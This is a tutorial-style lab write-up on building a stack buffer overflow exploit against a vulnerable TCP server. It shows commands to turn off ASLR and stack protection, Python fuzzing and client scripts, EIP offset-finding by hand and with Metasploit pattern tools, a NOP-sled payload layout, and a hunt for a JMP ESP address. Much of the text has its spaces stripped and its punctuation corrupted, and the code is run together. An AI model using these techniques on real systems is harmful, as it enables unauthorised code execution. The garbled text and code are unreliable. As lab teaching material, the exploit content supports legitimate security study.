IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

